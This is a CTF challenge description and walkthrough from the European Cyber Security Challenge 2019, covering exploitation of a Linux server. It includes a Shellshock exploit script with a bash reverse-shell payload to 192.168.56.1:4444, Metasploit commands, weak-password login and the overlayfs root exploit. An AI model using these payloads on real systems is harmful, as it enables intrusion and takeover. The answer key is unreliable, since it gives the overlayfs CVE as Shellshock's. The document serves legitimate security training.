UNDERSTANDING EXPLOITS

SCENARIO DESCRIPTION

27.09.2019.

European Cyber Security Challenge 2019
Bucharest, Romania

European Cyber Security Challenge 2019
Bucharest, Romania

Version	Name	Comments	Date
0.1	Initial version		01/09/2019
0.2	Review	Adrian Belmonte	18/09/2019
1.0	Final Version	Bertalan Béki-Nagy	27.09.2019.

1. Initial Write-Up

This box contains a Linux server with Apache HTTP service. The participants receive a technical challenge focusing on exploitation and privilege escalation. Scan the box, get low privileged shell and then escalate privilege to root.

The goal is to get root privilege.

2. Challenge specifications

- Category: Exploiting/Linux
- Difficulty: Medium
- Expected time to solve: 1-3 hours

3. Technical specifications

Challenge Technical Specification, data to set up and access to the environment.

- IP address: DHCP, participant needs to find the IP on the specified subnet.
- Operating Systems: Ubuntu 16.04 LTS
- Focus: exploitation
    - shellshock
    - overlayfs kernel exploit
    - week password

- Software used
  - Apache
  - Ubuntu 14.04 LTS
- Important files to have in mind
  - /etc/network/interfaces: Network configuration file used to assign an DHCP IP address and nameserver. Default interface name: eth0
  - Important Files or directories:
    - /var/www/html: Default Webroot directory
- Minimum setup requirements (512 MB RAM, 2 vCPU)

4. Questions and answers

CTF specific questions:

- What vulnerability offers the possibility to compromise the system?
  - ShellShock vulnerability
- What is the CVE which describes the vulnerability?
  - CVE-2015-1328
- What is the possible effect of the vulnerability?
  - Privilege escalation to root privileges
- What other factors add to the vulnerability?
  - Week password policy set
- What kind of design flaws led to such a vulnerability?
  - The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper filesystem directory, which allows local users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary mount namespace.
-

Non CTF specific questions:

- What action is recommended to prevent, or mitigate OS based risk
  - Set strong password policy
  - Update and patch the OS regularly, to apply manufacturers' patches
- Is it possible to use exploits during assasement of production enivronment?
  - Generally not, because exploits might have side effects, which affects system availability

- What is the recommended action for a security expert if exploitable problems are found on production environment?
    - Immediately inform the system administrators, and if possible check the exploitability on a test system or sandbox system, which simulates the production environment. This helps to completely assess the effects, and possible outcomes of an exploit based attack. Production environment safety regulations for the affected host should be risen to the highest possible level, and maintain constant monitoring until problem solved by the administrators.

5. Attack Scenario

Provide a better understanding about who the attack occurred

The attacker runs some discovery programs (nmap, nikto, etc. scans) on the target server and specify the server remote ports and services. This server has some vulnerabilities and configuration weeknesses. The attacker was able to run a remote code execution exploit on the linux server. The attacker can make a low (user: www-data) level remote shell access and read / write the server files. The attacker can get access to another system user with week password. The server has a vulnerable kernel. With an appropriate kernel exploit the attacker could gain root access over the server.

6. Installation instructions

Description:

The VM is designed to work with VirtualBox. The participants should be able to access the VM-s IP address. However for the best experience, the participants may run their own instances from the VM, the VM should handle multiple participants at once. The network settings of the VM should be set up accordingly.

European Cyber Security Challenge 2019
Bucharest, Romania

7. Tools needed

Tools needed for the solution of the challenge

- General (Kali) Linux tools
- dirb
- nikto
- Metasploit framework

8. Artefacts Provided

File name	Checksum
ECSC2019_CH_7_revisit_zip.zip	c28e946f528d2a4793d0e1822b597bbf4f25571866ed863219ee888864d4b5cc

9. Walkthrough (writeup)

Detailed solution for the challenges. A step-by-step solution along with a list of open source tools could be used during the analysis: A complete write-up with screenshots, commands etc. (e.g. nmap –sC –sV –p- -A …) leading to the solution.

Find the target IP with nmap or netdiscover.

Scan for open ports on the target:

- nmap -sV -sT 192.168.56.101 -p- -v

Run nikto on the open HTTP port.

European Cyber Security Challenge 2019
Bucharest, Romania

```
@~$ nikto -host 192.168.56.101
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2019-09-09 14:14:05 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of X
SS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a
different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: 2cf6, size: 5746e3076dc66, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Uncommon header '93e4r0-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8725 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2019-09-09 14:14:33 (GMT2) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
@~$
```

The server seems to be vulnerable to shellshock.

Validate the finding with a python script, or Metasploit framework.

-Custom python script:

home > user > enisa > shellshock_test.py

```python
# CVE-2014-6271
import httplib, urllib, sys
conn = httplib.HTTPConnection("192.168.56.101")

payload ='() { :;}; echo; /bin/cat /etc/passwd'
#payload ='() { :;}; /bin/bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'

h = {"Content-type": payload }
conn.request("GET", "/cgi-bin/test.cgi", headers=h)
res = conn.getresponse()
data = res.read()
print data
```

European Cyber Security Challenge 2019
Bucharest, Romania

```
@~/enisa$ python shellshock_test.py
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
hackme:x:1000:1000:hackme,,,:/home/hackme:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/bash

@~/enisa$
```

Opening reverse shell with the custom script:

```
payload ='() { :;}; /bin/bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'
```

-Metasploit shellshock module:

```
msf5 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhost 192.168.56.101
rhost => 192.168.56.101
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/test.cgi
targeturi => /cgi-bin/test.cgi
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > check
[+] 192.168.56.101:80 - The target is vulnerable.
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 192.168.56.101
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.101:56343) at 2019-09-09 15:46:42 +0200

ls
test.cgi
```

Find system users, try week passwords.

Use “john” system user with “john” password over SSH or over reverse shell.

Check kernel version, find appropriate kernel exploit.

Upload and compile overlayfs local root privilege escalation CVE-2015-1328.

European Cyber Security Challenge 2019
Bucharest, Romania

```
john@Ubuntu:~$ head ofs32.c
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
john@Ubuntu:~$ gcc ofs32.c -o ofs32
john@Ubuntu:~$ ./ofs32
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(john)
#
```